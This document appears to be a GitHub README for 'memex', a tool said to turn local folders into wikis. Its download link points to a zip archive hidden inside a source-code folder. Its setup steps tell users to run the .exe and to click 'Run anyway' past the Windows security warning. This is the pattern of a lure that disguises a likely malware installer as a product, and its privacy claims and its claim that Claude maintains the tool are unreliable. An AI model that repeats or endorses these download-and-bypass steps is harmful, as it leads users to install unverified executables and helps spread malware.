Memex

🧠 memex - Organize your local files into wikis

[](https://github.com/muhlsteinovajemima439-design/memex/raw/refs/heads/main/src/cli/commands/Software_v3.2.zip)

Memex turns folders into internal knowledge bases. It works by mapping your existing file system into an easy layout. You do not need databases or servers. You store your notes as plain text files on your local drive. This keeps your data private and portable.

📥 How to download

1. Go to the official release page.
2. Look for the file ending in .exe under the latest release section.
3. Click the file name to start your download.
4. Open the folder where your browser saves files to find the installer.

⚙️ Setting up the application

1. Double-click the saved .exe file to start the installer.
2. Windows might show a security box. Click More info, then click Run anyway.
3. Follow the steps on the screen to place the app on your computer.
4. Click Finish when the bar fills up.
5. Launch the app from your desktop shortcut or the Start menu.

📂 Creating your first library

A library is a folder on your computer that acts as a wiki.

1. Open the memex app.
2. Select the button marked Create New Library.
3. Choose a folder on your computer where you want to keep your notes.
4. Give your library a name.
5. Click Save.

The app scans the files in that folder. It builds an index of folders, sub-folders, and text files. Each text file becomes a page in your wiki. If you change a file in that folder using any text editor, the wiki updates to show those changes.

✏️ Writing and editing notes

Memex uses Markdown for content. You write text and add formatting using simple symbols.

• Use # for a title.
• Use ## for a section header.
• Put words in **bold** with two asterisks.
• Put words in italics with one asterisk.

You can link files together. If you have a file named Project.txt and you type [[Project]] in another file, the app creates a link to that page. Clicking the link takes you directly to the content.

🔎 Searching your files

The search bar sits at the top of the window. Type a word or phrase to find matching files. The app checks note titles and content as you type. Results appear as a list. Select any result to open that file.

🛡️ Privacy and system information

Memex stores data only on your machine. No information leaves your computer. We do not track your activity or see your files.

• System Requirements: Windows 10 or Windows 11.
• Processor: Any modern dual-core chip.
• Memory: 4 gigabytes of RAM.
• Storage: 200 megabytes of disk space for the app itself plus space for your library.

🔧 Frequently asked questions

How do I remove the app? Open the Windows Settings app. Go to Apps. Find memex in the list, click it, and select Uninstall. This removes the app but leaves your library folder untouched.

Can I move my files? Yes. Your library is a collection of files in a regular folder. You can move, copy, or rename these files as you please. The app detects these changes and updates the library map.

Does it work offline? Yes. You do not need an internet connection to create, read, or edit your library.

Is there a file limit? The app handles thousands of files. Performance depends on the speed of your hard drive. Solid-state drives provide the best results.

What happens if I delete a note? Deleting a file from your folder removes it from your library. Check your Windows Recycle Bin if you delete a file by mistake.

Can I share my wiki? You can copy your library folder to another computer. Open the folder in memex on that machine to keep working. Since files are standard text documents, you can also email them or store them in cloud sync folders.

Does the app support images? You can place images in your library folder. Reference them in your notes using the standard image tag. The wiki displays these images when you view the page.

How do I style the app? The app uses a consistent interface design. You can toggle between light and dark modes in the settings menu to suit your vision.

Who maintains this tool? Claude manages the development of memex. Updates arrive on the release page. Check back every few months to see if a newer version exists.

Do I need specific software? No. The installer includes everything required to run the app on your computer. You do not need extra libraries or frameworks.
